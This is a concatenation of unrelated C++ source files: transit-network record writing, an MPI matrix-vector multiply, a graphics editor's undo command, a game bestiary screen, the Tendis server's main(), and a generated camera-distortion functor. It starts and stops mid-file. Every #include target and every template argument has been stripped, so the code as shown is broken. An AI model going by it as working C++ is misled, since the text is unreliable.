()) { Error ("Writing %s", stop_file->File_Type ()); } //---- add stop data ---- stop_rec.Stop (max_stop); stop_rec.Link_Dir (dir_ptr->Link_Dir ()); if (dir_ptr->Dir () == 0) { stop_rec.Offset (Round (length - len)); } else { stop_rec.Offset (Round (len)); } if (!stop_data.Add (&stop_rec)) { Error ("Adding Stop Data"); } //---- add process link ---- naccess++; new_access++; max_access++; access_file->ID (max_access); access_file->From_ID (max_location); access_file->From_Type ("ACTIVITY"); access_file->To_ID (max_stop); access_file->To_Type ("TRANSIT"); access_file->Time (1.0); access_file->Cost (0.0); access_file->Put_Field ("NOTES", string); if (!access_file->Write ()) { Error ("Writing %s", access_file->File_Type ()); } naccess++; new_access++; max_access++; access_file->ID (max_access); access_file->From_ID (max_stop); access_file->From_Type ("TRANSIT"); access_file->To_ID (max_location); access_file->To_Type ("ACTIVITY"); access_file->Time (1.0); access_file->Cost (0.0); access_file->Put_Field ("NOTES", string); if (!access_file->Write ()) { Error ("Writing %s", access_file->File_Type ()); } } } } } End_Progress (); } modules/task_2/belik_j_ribbon_horiz/RibbonHoriz.cpp // Copyright 2020 #include #include #include #include #include #include #include #include "../../../modules/task_2/belik_j_ribbon_horiz/RibbonHoriz.h" std::vector Get_sequestional(std::vector matrix, int rows, int cols, std::vector vect) { std::vector vec(cols); for (int i = 0; i < cols; i++) { vec[i] = 0; } for (int i = 0; i < cols; i++) { vec[i] = skal(i, matrix, rows, vect); } return vec; } double skal(int i, std::vector matrix, int rows, std::vector vect) { double sum = 0; for (int j = 0; j < rows; j++) sum += matrix[j + i * rows] * vect[j]; return sum; } std::vector Get_parallel(std::vector matrix, int rows, int cols, std::vector vect) { int size, rank; MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); int countint = cols / size; int rem = cols % size; std::vector locmatrix(countint * rows); MPI_Status Status; if (rank == 0) { for (int i = 1; i < size; i++) { MPI_Send(matrix.data() + i * countint * rows, countint * rows, MPI_DOUBLE, i, 0, MPI_COMM_WORLD); } for (int i = 0; i < countint * rows; i++) locmatrix[i] = matrix[i]; } else { MPI_Recv(locmatrix.data(), countint * rows, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD, &Status); } std::vector mult(rank == 0 ? cols : countint); for (int i = 0; i < countint; i++) { mult[i] = skal(i, locmatrix, rows, vect); } std::vector rmult(cols); if (rank == 0) { for (int i = 0; i < countint; i++) rmult[i] = mult[i]; for (int i = 1; i < size; i++) { MPI_Recv(rmult.data() + i * countint, countint, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &Status); } } else { MPI_Send(mult.data(), countint, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD); } if (rank == 0) { if (rem != 0) { for (int j = cols - rem; j < cols; j++) rmult[j] = skal(j, matrix, rows, vect); } } return rmult; } std::vector Matrix(int rows, int cols) { std::mt19937 gen; gen.seed(static_cast(time(0))); std::vector arr(cols * rows); for (int i = 0; i < cols * rows; i++) arr[i] = gen() % 100; return arr; } std::vector Vector(int n) { std::mt19937 gen; gen.seed(static_cast(time(0))); std::vector vec(n); for (int i = 0; i < n; i++) vec[i] = gen() % 100; return vec; } lukas-ke/faint-graphics-editor1-10 // -*- coding: us-ascii-unix -*- // Copyright 2014 // // Licensed under the Apache License, Version 2.0 (the "License"); you // may not use this file except in compliance with the License. You // may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or // implied. See the License for the specific language governing // permissions and limitations under the License. #include "commands/command.hh" #include "commands/old-command.hh" namespace faint{ OldCommand::OldCommand(UndoType type) : command(nullptr), targetFrame(nullptr), type(type) { assert(type != UndoType::NORMAL_COMMAND); } OldCommand::OldCommand(Command* command, Image* targetFrame) : command(command), targetFrame(targetFrame), type(UndoType::NORMAL_COMMAND) { assert(command != nullptr); assert(targetFrame != nullptr); } OldCommand OldCommand::OpenGroup(){ return OldCommand(UndoType::OPEN_GROUP); } OldCommand OldCommand::CloseGroup(){ return OldCommand(UndoType::CLOSE_GROUP); } OldCommand OldCommand::CloseGroup(const utf8_string& name){ OldCommand cmd(UndoType::CLOSE_GROUP); cmd.name.Set(name); return cmd; } bool OldCommand::ShouldMerge(const OldCommand& candidate) const{ return type == UndoType::NORMAL_COMMAND && candidate.type == UndoType::NORMAL_COMMAND && command->ShouldMerge(*candidate.command, targetFrame == candidate.targetFrame); } void OldCommand::Merge(OldCommand& candidate){ assert(ShouldMerge(candidate)); CommandPtr c(candidate.command); assert(c != nullptr); assert(command->ShouldMerge(*c, targetFrame == candidate.targetFrame)); command->Merge(std::move(c)); } } // namespace engine/actions/source/BestiaryAction.cpp #include #include "ActionTextKeys.hpp" #include "BestiaryAction.hpp" #include "ClassManager.hpp" #include "Conversion.hpp" #include "CreatureProperties.hpp" #include "CreatureUtils.hpp" #include "EquipmentTextKeys.hpp" #include "Game.hpp" #include "MessageManagerFactory.hpp" #include "ScreenTitleTextKeys.hpp" #include "RaceManager.hpp" #include "SizeTextKeys.hpp" #include "StringTable.hpp" #include "TextFormatSpecifiers.hpp" #include "TextKeys.hpp" #include "TextDisplayScreen.hpp" using namespace std; BestiaryAction::BestiaryAction() { } ActionCostValue BestiaryAction::display_creature_information(CreaturePtr creature, const string& creature_search_text, CreaturePtr bestiary_creature_instance) const { string search_text = creature_search_text; IMessageManager& manager = MM::instance(MessageTransmit::SELF, creature, creature && creature->get_is_player()); // If we need to display creature information, prompt for some creature // details. if (creature_search_text.empty()) { // If the creature previously searched the bestiary, show that search text // in the message - hitting enter should use that! string last_search_text = creature->get_additional_property(CreatureProperties::CREATURE_PROPERTIES_LAST_BESTIARY_SEARCH); string prompt_message = ActionTextKeys::get_bestiary_search_message(last_search_text); search_text = manager.add_new_message_with_prompt(prompt_message); manager.send(); manager.clear_if_necessary(); if (search_text.empty()) { search_text = last_search_text; } // Update the "monster memory" creature->set_additional_property(CreatureProperties::CREATURE_PROPERTIES_LAST_BESTIARY_SEARCH, search_text); } CreaturePtr beast = bestiary_creature_instance; if (beast == nullptr) { beast = get_bestiary_creature(search_text); } if (beast) { display_bestiary_information(beast); } else { string no_such_creature = StringTable::get(ActionTextKeys::ACTION_BESTIARY_NO_SUCH_CREATURE_EXISTS); manager.add_new_message(no_such_creature); manager.send(); } return get_action_cost_value(creature); } // Showing creature info is always free. ActionCostValue BestiaryAction::get_action_cost_value(CreaturePtr creature) const { return 0; } // Figure out what creature best matches the search text. This may not be // anything - in that case, the CreaturePtr will be null. CreaturePtr BestiaryAction::get_bestiary_creature(const string& search_text) const { // We haven't found anything - return a null CreaturePtr. CreaturePtr beast; Game& game = Game::instance(); string short_description; CreatureMap creature_map = game.get_creatures_ref(); vector partial_matches; for(const CreatureMap::value_type& creature_pair : creature_map) { // If it's an exact match, use this creature. short_description = StringTable::get(creature_pair.second->get_short_description_sid()); if (boost::iequals(search_text, short_description)) { beast = creature_pair.second; break; } // If it's an inexact match, add it to the partial matches. else if (boost::ifind_first(StringRange(short_description.begin(), short_description.end()), StringRange(search_text.begin(), search_text.end()))) { partial_matches.push_back(creature_pair.second); } } // If we've already found an exact match, use that. if (!beast) { // If we haven't found an exact match, have we found a partial match? if (!partial_matches.empty()) { beast = partial_matches.at(0); } } return beast; } // Display the information from the bestiary in a text screen. void BestiaryAction::display_bestiary_information(CreaturePtr creature) const { if (creature) { Game& game = Game::instance(); TextDisplayFormatter tdf; string bestiary_title_sid = ScreenTitleTextKeys::SCREEN_TITLE_BESTIARY; vector> bestiary_text; // Display the symbol Symbol s = creature->get_symbol(); deque symbols; symbols.push_back(s); uint width = game.get_display()->get_width(); bestiary_text.push_back(make_pair(s.get_colour(), String::centre(TextFormatSpecifiers::SYMBOL, width))); bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, separator)); // Display the creature short description, displaying the name if it's // been defined. ostringstream short_desc; short_desc << StringTable::get(creature->get_short_description_sid(true)); string name = creature->get_name(); if (!name.empty()) { short_desc << " (" << name << ")"; } bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, short_desc.str())); bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, separator)); display_race_information(bestiary_text, tdf, creature); string class_id = creature->get_class_id(); if (!class_id.empty()) { ClassManager cm; Class* cur_class = cm.get_class(class_id); if (cur_class != nullptr) { string class_details = StringTable::get(TextKeys::CLASS) + ": " + StringTable::get(cur_class->get_class_name_sid()); bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, class_details)); } } display_deity_information(bestiary_text, tdf, creature); // Display size, level, and range bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, StringTable::get(SizeTextKeys::SIZE) + ": " + StringTable::get(SizeTextKeys::get_size_sid_from_creature_size(CreatureUtils::get_size(creature))))); bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, StringTable::get(TextKeys::LEVEL) + ": " + to_string(creature->get_level().get_current()))); bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, EquipmentTextKeys::get_range(creature->get_primary_melee_range()))); // Display the creature's details. bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, separator)); vector text_details = tdf.format_text(StringTable::get(creature->get_text_details_sid())); for(const string& line_of_text : text_details) { bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, line_of_text)); } TextDisplayScreen tds(game.get_display(), bestiary_title_sid, bestiary_text, false, symbols); tds.display(); } } void BestiaryAction::display_race_information(vector>& bestiary_text, const TextDisplayFormatter& tdf, CreaturePtr creature) const { if (creature != nullptr) { string race_id = creature->get_race_id(); display_id_details(bestiary_text, tdf, creature, TextKeys::RACES, TextKeys::RACE, race_id, true); } } void BestiaryAction::display_deity_information(vector>& bestiary_text, const TextDisplayFormatter& tdf, CreaturePtr creature) const { string deity_id; if (creature != nullptr) { deity_id = creature->get_religion_ref().get_active_deity_id(); if (!deity_id.empty()) { display_id_details(bestiary_text, tdf, creature, TextKeys::DEITIES, TextKeys::DEITY, deity_id, false); } } } void BestiaryAction::display_id_details(vector>& bestiary_text, const TextDisplayFormatter& tdf, CreaturePtr creature, const string& plural_sid, const string& singular_sid, const string& id, const bool is_for_race) const { if (creature != nullptr) { // Display the details. If the id is comma-separated, we're working // with a range of possible IDs (for creatures that can be more than // one race, have more than one deity, whatever the context is). if (!id.empty()) { RaceManager rm; vector all_ids = String::create_string_vector_from_csv_string(id); if (!all_ids.empty()) { string info_sid = singular_sid; size_t ids_sz = all_ids.size(); if (ids_sz > 1) { info_sid = plural_sid; } ostringstream ss; ss << StringTable::get(info_sid) << ": "; for (size_t i = 0; i < ids_sz; i++) { string cur_id = all_ids.at(i); if (is_for_race) { Race* race = rm.get_race(cur_id); if (race != nullptr) { ss << StringTable::get(race->get_race_name_sid()); } } else { const DeityMap& deities = Game::instance().get_deities_cref(); auto d_it = deities.find(cur_id); if (d_it != deities.end()) { ss << StringTable::get(d_it->second->get_name_sid()); } else { ss << StringTable::get(TextKeys::DEITY_GONE); } } if (i < ids_sz - 1) { ss << ", "; } } vector details = tdf.format_text(ss.str()); for (const string& line : details) { bestiary_text.push_back(make_pair(Colour::COLOUR_WHITE, line)); } } } } }// Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved. // Please refer to the license text that comes with this tendis open source // project for additional information. #include #include #include #include #include #include #include "tendisplus/server/server_params.h" #include "tendisplus/server/server_entry.h" #include "tendisplus/utils/invariant.h" #include "tendisplus/utils/portable.h" #include "tendisplus/utils/time.h" #include "glog/logging.h" #include "tendisplus/commands/version.h" #include "tendisplus/commands/release.h" static void shutdown(int sigNum) { LOG(INFO) << "signal:" << sigNum << " caught, begin shutdown server"; INVARIANT(tendisplus::getGlobalServer() != nullptr); tendisplus::getGlobalServer()->handleShutdownCmd(); } static void waitForExit() { INVARIANT(tendisplus::getGlobalServer() != nullptr); tendisplus::getGlobalServer()->waitStopComplete(); } static void setupSignals() { #ifndef _WIN32 struct sigaction ignore; memset(&ignore, 0, sizeof(ignore)); ignore.sa_handler = SIG_IGN; sigemptyset(&ignore.sa_mask); INVARIANT(sigaction(SIGHUP, &ignore, nullptr) == 0); INVARIANT(sigaction(SIGUSR2, &ignore, nullptr) == 0); INVARIANT(sigaction(SIGPIPE, &ignore, nullptr) == 0); struct sigaction exits; memset(&exits, 0, sizeof(exits)); exits.sa_handler = shutdown; sigemptyset(&ignore.sa_mask); INVARIANT(sigaction(SIGTERM, &exits, nullptr) == 0); INVARIANT(sigaction(SIGINT, &exits, nullptr) == 0); #endif // !_WIN32 } static void usage() { std::cout << "./tendisplus [configfile]" << std::endl; } int main(int argc, char* argv[]) { if (argc != 2) { usage(); return 0; } if (strcmp(argv[1], "-v") == 0) { std::cout << "Tendisplus v=" << TENDISPLUS_VERSION << " sha=" << TENDISPLUS_GIT_SHA1 << " dirty=" << TENDISPLUS_GIT_DIRTY << " build=" << TENDISPLUS_BUILD_ID << std::endl; return 0; } std::srand((uint32_t)tendisplus::msSinceEpoch()); tendisplus::gParams = std::make_shared(); auto params = tendisplus::gParams; auto s = params->parseFile(argv[1]); if (!s.ok()) { std::cout << "parse config failed:" << s.toString(); // LOG(FATAL) << "parse config failed:" << s.toString(); return -1; } else { std::cout << "start server with cfg:\n" << params->showAll() << std::endl; // LOG(INFO) << "start server with cfg:" << params->toString(); } INVARIANT(sizeof(double) == 8); #ifndef WITH_ASAN #ifndef _WIN32 if (params->daemon) { if (daemon(1 /*nochdir*/, 0 /*noclose*/) < 0) { // NOTE(deyukong): it should rarely fail. // but if code reaches here, cerr may have been redirected to // /dev/null and nothing printed. LOG(FATAL) << "daemonlize failed:" << errno; } } #endif #endif FLAGS_minloglevel = 0; if (params->logLevel == "debug" || params->logLevel == "verbose") { FLAGS_v = 1; } else { FLAGS_v = 0; } if (params->logDir != "") { FLAGS_log_dir = params->logDir; std::cout << "glog dir:" << FLAGS_log_dir << std::endl; if (!tendisplus::filesystem::exists(FLAGS_log_dir)) { std::error_code ec; if (!tendisplus::filesystem::create_directories(FLAGS_log_dir, ec)) { LOG(WARNING) << " create log path failed: " << ec.message(); } } } FLAGS_logbufsecs = 1; ::google::InitGoogleLogging("tendisplus"); #ifndef _WIN32 ::google::InstallFailureSignalHandler(); ::google::InstallFailureWriter([](const char* data, int size) { LOG(ERROR) << "Failure:" << std::string(data, size); google::FlushLogFiles(google::INFO); google::FlushLogFiles(google::WARNING); google::FlushLogFiles(google::ERROR); google::FlushLogFiles(google::FATAL); }); #endif LOG(INFO) << "startup pid:" << getpid(); tendisplus::getGlobalServer() = std::make_shared(params); s = tendisplus::getGlobalServer()->startup(params); if (!s.ok()) { LOG(FATAL) << "server startup failed:" << s.toString(); } setupSignals(); // pid file std::ofstream pidfile(params->pidFile); pidfile << getpid(); pidfile.close(); waitForExit(); LOG(INFO) << "server exits"; remove(params->pidFile.c_str()); return 0; } // File Automatically generated by eLiSe #include "StdAfx.h" #include "cREgDistDxDy_Ebner.h" cREgDistDxDy_Ebner::cREgDistDxDy_Ebner(): cElCompiledFonc(2) { AddIntRef (cIncIntervale("Intr",0,15)); Close(false); } void cREgDistDxDy_Ebner::ComputeVal() { double tmp0_ = mLocEbner_State_0_0 * mLocEbner_State_0_0; double tmp1_ = tmp0_ * 0.666667; double tmp2_ = mLocRegDistxy1_y * mLocRegDistxy1_y; double tmp3_ = tmp2_ - tmp1_; double tmp4_ = mLocRegDistxy1_x * mLocRegDistxy1_x; double tmp5_ = tmp4_ - tmp1_; double tmp6_ = mCompCoord[3]; double tmp7_ = 1 + tmp6_; double tmp8_ = mCompCoord[4]; double tmp9_ = mCompCoord[5]; double tmp10_ = tmp9_ * 2; double tmp11_ = mCompCoord[6]; double tmp12_ = mCompCoord[7]; double tmp13_ = mCompCoord[9]; double tmp14_ = mLocRegDistxy2_y * mLocRegDistxy2_y; double tmp15_ = tmp14_ - tmp1_; double tmp16_ = mCompCoord[11]; double tmp17_ = mLocRegDistxy2_x * mLocRegDistxy2_x; double tmp18_ = tmp17_ - tmp1_; double tmp19_ = mCompCoord[13]; double tmp20_ = mLocRegDistxy3_y * mLocRegDistxy3_y; double tmp21_ = tmp20_ - tmp1_; double tmp22_ = mLocRegDistxy3_x * mLocRegDistxy3_x; double tmp23_ = tmp22_ - tmp1_; double tmp24_ = mLocRegDistxy4_y * mLocRegDistxy4_y; double tmp25_ = tmp24_ - tmp1_; double tmp26_ = mLocRegDistxy4_x * mLocRegDistxy4_x; double tmp27_ = tmp26_ - tmp1_; double tmp28_ = mLocRegDistxy1_x * mLocRegDistxy1_y; double tmp29_ = 1 - tmp6_; double tmp30_ = mLocRegDistxy2_x * mLocRegDistxy2_y; double tmp31_ = tmp11_ * 2; double tmp32_ = mCompCoord[8]; double tmp33_ = mCompCoord[10]; double tmp34_ = mCompCoord[12]; double tmp35_ = mCompCoord[14]; double tmp36_ = mLocRegDistxy3_x * mLocRegDistxy3_y; double tmp37_ = mLocRegDistxy4_x * mLocRegDistxy4_y; mVal[0] = (((tmp7_) * mLocRegDistxy1_x + tmp8_ * mLocRegDistxy1_y) - tmp10_ * (tmp5_) + tmp11_ * tmp28_ + tmp12_ * (tmp3_) + tmp13_ * mLocRegDistxy1_x * (tmp3_) + tmp16_ * mLocRegDistxy1_y * (tmp5_) + tmp19_ * (tmp5_) * (tmp3_) + ((tmp7_) * mLocRegDistxy2_x + tmp8_ * mLocRegDistxy2_y) - tmp10_ * (tmp18_) + tmp11_ * tmp30_ + tmp12_ * (tmp15_) + tmp13_ * mLocRegDistxy2_x * (tmp15_) + tmp16_ * mLocRegDistxy2_y * (tmp18_) + tmp19_ * (tmp18_) * (tmp15_)) - (((tmp7_) * mLocRegDistxy3_x + tmp8_ * mLocRegDistxy3_y) - tmp10_ * (tmp23_) + tmp11_ * tmp36_ + tmp12_ * (tmp21_) + tmp13_ * mLocRegDistxy3_x * (tmp21_) + tmp16_ * mLocRegDistxy3_y * (tmp23_) + tmp19_ * (tmp23_) * (tmp21_) + ((tmp7_) * mLocRegDistxy4_x + tmp8_ * mLocRegDistxy4_y) - tmp10_ * (tmp27_) + tmp11_ * tmp37_ + tmp12_ * (tmp25_) + tmp13_ * mLocRegDistxy4_x * (tmp25_) + tmp16_ * mLocRegDistxy4_y * (tmp27_) + tmp19_ * (tmp27_) * (tmp25_)); mVal[1] = (((tmp29_) * mLocRegDistxy1_y + tmp8_ * mLocRegDistxy1_x + tmp9_ * tmp28_) - tmp31_ * (tmp3_) + tmp32_ * (tmp5_) + tmp33_ * mLocRegDistxy1_y * (tmp5_) + tmp34_ * mLocRegDistxy1_x * (tmp3_) + tmp35_ * (tmp5_) * (tmp3_) + ((tmp29_) * mLocRegDistxy2_y + tmp8_ * mLocRegDistxy2_x + tmp9_ * tmp30_) - tmp31_ * (tmp15_) + tmp32_ * (tmp18_) + tmp33_ * mLocRegDistxy2_y * (tmp18_) + tmp34_ * mLocRegDistxy2_x * (tmp15_) + tmp35_ * (tmp18_) * (tmp15_)) - (((tmp29_) * mLocRegDistxy3_y + tmp8_ * mLocRegDistxy3_x + tmp9_ * tmp36_) - tmp31_ * (tmp21_) + tmp32_ * (tmp23_) + tmp33_ * mLocRegDistxy3_y * (tmp23_) + tmp34_ * mLocRegDistxy3_x * (tmp21_) + tmp35_ * (tmp23_) * (tmp21_) + ((tmp29_) * mLocRegDistxy4_y + tmp8_ * mLocRegDistxy4_x + tmp9_ * tmp37_) - tmp31_ * (tmp25_) + tmp32_ * (tmp27_) + tmp33_ * mLocRegDistxy4_y * (tmp27_) + tmp34_ * mLocRegDistxy4_x * (tmp25_) + tmp35_ * (tmp27_) * (tmp25_)); } void cREgDistDxDy_Ebner::ComputeValDeriv() { double tmp0_ = mLocEbner_State_0_0 * mLocEbner_State_0_0; double tmp1_ = tmp0_ * 0.666667; double tmp2_ = mLocRegDistxy1_y * mLocRegDistxy1_y; double tmp3_ = tmp2_ - tmp1_; double tmp4_ = mLocRegDistxy1_x * mLocRegDistxy1_x; double tmp5_ = tmp4_ - tmp1_; double tmp6_ = mCompCoord[3]; double tmp7_ = 1 + tmp6_; double tmp8_ = mCompCoord[4]; double tmp9_ = mCompCoord[5]; double tmp10_ = tmp9_ * 2; double tmp11_ = mCompCoord[6]; double tmp12_ = mCompCoord[7]; double tmp13_ = mCompCoord[9]; double tmp14_ = mLocRegDistxy2_y * mLocRegDistxy2_y; double tmp15_ = tmp14_ - tmp1_; double tmp16_ = mCompCoord[11]; double tmp17_ = mLocRegDistxy2_x * mLocRegDistxy2_x; double tmp18_ = tmp17_ - tmp1_; double tmp19_ = mCompCoord[13]; double tmp20_ = mLocRegDistxy3_y * mLocRegDistxy3_y; double tmp21_ = tmp20_ - tmp1_; double tmp22_ = mLocRegDistxy3_x * mLocRegDistxy3_x; double tmp23_ = tmp22_ - tmp1_; double tmp24_ = mLocRegDistxy4_y * mLocRegDistxy4_y; double tmp25_ = tmp24_ - tmp1_; double tmp26_ = mLocRegDistxy4_x * mLocRegDistxy4_x; double tmp27_ = tmp26_ - tmp1_; double tmp28_ = mLocRegDistxy1_x * mLocRegDistxy1_y; double tmp29_ = mLocRegDistxy2_x * mLocRegDistxy2_y; double tmp30_ = mLocRegDistxy3_x * mLocRegDistxy3_y; double tmp31_ = mLocRegDistxy4_x * mLocRegDistxy4_y; double tmp32_ = 1 - tmp6_; double tmp33_ = tmp11_ * 2; double tmp34_ = mCompCoord[8]; double tmp35_ = mCompCoord[10]; double tmp36_ = mCompCoord[12]; double tmp37_ = mCompCoord[14]; double tmp38_ = -(1); double tmp39_ = mLocRegDistxy1_x + mLocRegDistxy2_x; double tmp40_ = mLocRegDistxy3_x + mLocRegDistxy4_x; double tmp41_ = (tmp39_) - (tmp40_); double tmp42_ = tmp28_ + tmp29_; double tmp43_ = tmp30_ + tmp31_; double tmp44_ = (tmp42_) - (tmp43_); double tmp45_ = mLocRegDistxy1_y * (tmp5_); double tmp46_ = mLocRegDistxy2_y * (tmp18_); double tmp47_ = tmp45_ + tmp46_; double tmp48_ = mLocRegDistxy3_y * (tmp23_); double tmp49_ = mLocRegDistxy4_y * (tmp27_); double tmp50_ = tmp48_ + tmp49_; double tmp51_ = (tmp47_) - (tmp50_); double tmp52_ = mLocRegDistxy1_x * (tmp3_); double tmp53_ = mLocRegDistxy2_x * (tmp15_); double tmp54_ = tmp52_ + tmp53_; double tmp55_ = mLocRegDistxy3_x * (tmp21_); double tmp56_ = mLocRegDistxy4_x * (tmp25_); double tmp57_ = tmp55_ + tmp56_; double tmp58_ = (tmp54_) - (tmp57_); double tmp59_ = (tmp5_) * (tmp3_); double tmp60_ = (tmp18_) * (tmp15_); double tmp61_ = tmp59_ + tmp60_; double tmp62_ = (tmp23_) * (tmp21_); double tmp63_ = (tmp27_) * (tmp25_); double tmp64_ = tmp62_ + tmp63_; double tmp65_ = (tmp61_) - (tmp64_); mVal[0] = (((tmp7_) * mLocRegDistxy1_x + tmp8_ * mLocRegDistxy1_y) - tmp10_ * (tmp5_) + tmp11_ * tmp28_ + tmp12_ * (tmp3_) + tmp13_ * mLocRegDistxy1_x * (tmp3_) + tmp16_ * mLocRegDistxy1_y * (tmp5_) + tmp19_ * (tmp5_) * (tmp3_) + ((tmp7_) * mLocRegDistxy2_x + tmp8_ * mLocRegDistxy2_y) - tmp10_ * (tmp18_) + tmp11_ * tmp29_ + tmp12_ * (tmp15_) + tmp13_ * mLocRegDistxy2_x * (tmp15_) + tmp16_ * mLocRegDistxy2_y * (tmp18_) + tmp19_ * (tmp18_) * (tmp15_)) - (((tmp7_) * mLocRegDistxy3_x + tmp8_ * mLocRegDistxy3_y) - tmp10_ * (tmp23_) + tmp11_ * tmp30_ + tmp12_ * (tmp21_) + tmp13_ * mLocRegDistxy3_x * (tmp21_) + tmp16_ * mLocRegDistxy3_y * (tmp23_) + tmp19_ * (tmp23_) * (tmp21_) + ((tmp7_) * mLocRegDistxy4_x + tmp8_ * mLocRegDistxy4_y) - tmp10_ * (tmp27_) + tmp11_ * tmp31_ + tmp12_ * (tmp25_) + tmp13_ * mLocRegDistxy4_x * (tmp25_) + tmp16_ * mLocRegDistxy4_y * (tmp27_) + tmp19_ * (tmp27_) * (tmp25_)); mCompDer[0][0] = 0; mCompDer[0][1] = 0; mCompDer[0][2] = 0; mCompDer[0][3] = tmp41_; mCompDer[0][4] = (mLocRegDistxy1_y + mLocRegDistxy2_y) - (mLocRegDistxy3_y + mLocRegDistxy4_y); mCompDer[0][5] = (-(2 * (tmp5_)) + -(2 * (tmp18_))) - (-(2 * (tmp23_)) + -(2 * (tmp27_))); mCompDer[0][6] = tmp44_; mCompDer[0][7] = (tmp3_ + tmp15_) - (tmp21_ + tmp25_); mCompDer[0][8] = 0; mCompDer[0][9] = tmp58_; mCompDer[0][10] = 0; mCompDer[0][11] = tmp51_; mCompDer[0][12] = 0; mCompDer[0][13] = tmp65_; mCompDer[0][14] = 0; mVal[1] = (((tmp32_) * mLocRegDistxy1_y + tmp8_ * mLocRegDistxy1_x + tmp9_ * tmp28_) - tmp33_ * (tmp3_) + tmp34_ * (tmp5_) + tmp35_ * mLocRegDistxy1_y * (tmp5_) + tmp36_ * mLocRegDistxy1_x * (tmp3_) + tmp37_ * (tmp5_) * (tmp3_) + ((tmp32_) * mLocRegDistxy2_y + tmp8_ * mLocRegDistxy2_x + tmp9_ * tmp29_) - tmp33_ * (tmp15_) + tmp34_ * (tmp18_) + tmp35_ * mLocRegDistxy2_y * (tmp18_) + tmp36_ * mLocRegDistxy2_x * (tmp15_) + tmp37_ * (tmp18_) * (tmp15_)) - (((tmp32_) * mLocRegDistxy3_y + tmp8_ * mLocRegDistxy3_x + tmp9_ * tmp30_) - tmp33_ * (tmp21_) + tmp34_ * (tmp23_) + tmp35_ * mLocRegDistxy3_y * (tmp23_) + tmp36_ * mLocRegDistxy3_x * (tmp21_) + tmp37_ * (tmp23_) * (tmp21_) + ((tmp32_) * mLocRegDistxy4_y + tmp8_ * mLocRegDistxy4_x + tmp9_ * tmp31_) - tmp33_ * (tmp25_) + tmp34_ * (tmp27_) + tmp35_ * mLocRegDistxy4_y * (tmp27_) + tmp36_ * mLocRegDistxy4_x * (tmp25_) + tmp37_ * (tmp27_) * (tmp25_)); mCompDer[1][0] = 0; mCompDer[1][1] = 0; mCompDer[1][2] = 0; mCompDer[1][3] = (tmp38_ * mLocRegDistxy1_y + tmp38_ * mLocRegDistxy2_y) - (tmp38_ * mLocRegDistxy3_y + tmp38_ * mLocRegDistxy4_y); mCompDer[1][4] = tmp41_; mCompDer[1][5] = tmp44_; mCompDer[1][6] = (-(2 * (tmp3_)) + -(2 * (tmp15_))) - (-(2 * (tmp21_)) + -(2 * (tmp25_))); mCompDer[1][7] = 0; mCompDer[1][8] = (tmp5_ + tmp18_) - (tmp23_ + tmp27_); mCompDer[1][9] = 0; mCompDer[1][10] = tmp51_; mCompDer[1][11] = 0; mCompDer[1][12] = tmp58_; mCompDer[1][13] = 0; mCompDer[1][14] = tmp65_; } void cREgDistDxDy_Ebner::ComputeValDerivHessian() { ELISE_ASSERT(false,"Foncteur cREgDistDxDy_Ebner Has no Der Sec"); } void cREgDistDxDy_Ebner::SetEbner_State_0_0(double aVal){ mLocEbner_State_0_0 = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy1_x(double aVal){ mLocRegDistxy1_x = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy1_y(double aVal){ mLocRegDistxy1_y = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy2_x(double aVal){ mLocRegDistxy2_x = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy2_y(double aVal){ mLocRegDistxy2_y = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy3_x(double aVal){ mLocRegDistxy3_x = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy3_y(double aVal){ mLocRegDistxy3_y = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy4_x(double aVal){ mLocRegDistxy4_x = aVal;} void cREgDistDxDy_Ebner::SetRegDistxy4_y(double aVal){ mLocRegDistxy4_y = aVal;} double * cREgDistDxDy_Ebner::AdrVarLocFromString(const std::string & aName) { if (aName == "Ebner_State_0_0") return & mLocEbner_State_0_0; if (aName == "RegDistxy1_x") return & mLocRegDistxy1_x; if (aName == "RegDistxy1_y") return & mLocRegDistxy1_y; if (aName == "RegDistxy2_x") return & mLocRegDistxy2_x; if (aName == "RegDistxy2_y") return & mLocRegDistxy2_y; if (aName == "RegDistxy3_x") return & mLocRegDistxy3_x; if (aName == "RegDistxy3_y") return & mLocRegDistxy3_y; if (aName == "RegDistxy4_x") return & mLocRegDistxy4_x; if (aName == "RegDistxy4_y") return & mLocRegDistxy4_y; return 0; } cElCompiledFonc::cAutoAddEntry cREgDistDxDy_Ebner::mTheAuto("cREgDistDxDy_Ebner",cREgDistDxDy_Ebner::Alloc); cElCompiledFonc * cREgDistDxDy_Ebner::Alloc() { return new cREgDistDxDy_Ebner(); } private/inet/xml/core/base/tls.hxx /* * * Copyright (c) 1998,1999 Microsoft Corporation. All rights reserved. * EXEMPT: copyright change only, no build required * */ #ifndef TLS_H #define TLS_H // this file defines our structure we keep for every thread // these are linked together se we can walk all the threads using // our objects class Base; class Exception; class Object; typedef struct TLSDATA * (* PFN_ENTRY)(); typedef void (* PFN_EXIT)(struct TLSDATA *); extern PFN_ENTRY g_pfnEntry; extern PFN_EXIT g_pfnExit; #ifdef RENTAL_MODEL enum RentalEnum { Rental, MultiThread }; #endif struct TLSDATA { typedef void (*_pfn)(); struct BASE { _pfn * _pfnvtable; ULONG_PTR _refs; #if DBG == 1 DWORD _dwTID; // thread id #endif }; BASE _baseHead; BASE 